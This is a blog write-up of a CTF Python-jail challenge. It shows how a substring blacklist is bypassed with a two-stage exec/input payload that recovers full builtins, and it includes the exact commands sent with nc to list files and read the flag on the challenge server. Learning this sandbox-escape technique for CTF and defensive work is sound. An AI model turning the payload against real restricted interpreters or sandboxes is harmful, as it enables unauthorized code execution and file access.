262 words
1 minutes
CodeVinci CTF 2026 - restricted - Miscellaneous Writeup

Category: Miscellaneous Flag: CodeVinci{p0w_0n_1nDeXe5_l1k3_4_v3ry_Pyj4il}

Challenge Description#

In Python when you are allowed to use exec, that’s fine nah?

Analysis#

This service is a custom Python InteractiveConsole that tries to jail user input with a substring blacklist, while still exposing exec inside safe_builtins. The interesting part is that filtering only happens in runsource, so if we can make one allowed line trigger another input/eval path, the second-stage payload can bypass the blacklist entirely. The first check I used was to inspect what exec points to.

printf 'exec.__self__\nexec.__self__.__dict__\n' | python restricted.py
>>> <module 'builtins' (built-in)>
>>> {'__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, ..., 'open': <built-in function open>, ...}

That confirmed exec.__self__ is the real builtins module, which means powerful primitives are still reachable through attribute access even when names are blacklisted in raw input.

My first escape idea was dropping into PDB with breakpoint() and then running shell commands from there, but that failed because the restricted execution context did not include __import__ for that code path.

tableflip

printf 'exec.__self__.breakpoint()\n!import os;os.system("ls")\n' | python restricted.py
>>> Traceback (most recent call last):
  File "<console>", line 1, in <module>
KeyError: '__import__'
>>> Blacklisted word detected, exiting ...

The winning pivot was a two-stage payload: first line (blacklist-safe) runs exec(exec.__self__.input(),exec.__self__.__dict__), then the next line is read by input() instead of runsource, so no blacklist check is applied. Passing exec.__self__.__dict__ as globals gives back full builtins for stage two. Once that worked locally, sending the same pattern to the remote service immediately exposed the filesystem and then flag.txt.

wink

printf 'exec(exec.__self__.input(),exec.__self__.__dict__)\nprint(__import__("os").listdir("."))\n' | nc restricted.codevinci.it 9960
>>> ['.profile', '.bash_logout', '.bashrc', 'flag.txt', 'main.py']
printf 'exec(exec.__self__.input(),exec.__self__.__dict__)\nprint(open("flag.txt").read())\n' | nc restricted.codevinci.it 9960
>>> CodeVinci{p0w_0n_1nDeXe5_l1k3_4_v3ry_Pyj4il}

Solution#

printf 'exec(exec.__self__.input(),exec.__self__.__dict__)\nprint(open("flag.txt").read())\n' | nc restricted.codevinci.it 9960
CodeVinci{p0w_0n_1nDeXe5_l1k3_4_v3ry_Pyj4il}
CodeVinci CTF 2026 - restricted - Miscellaneous Writeup
https://blog.rei.my.id/posts/84/codevinci-ctf-2026-restricted-miscellaneous-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0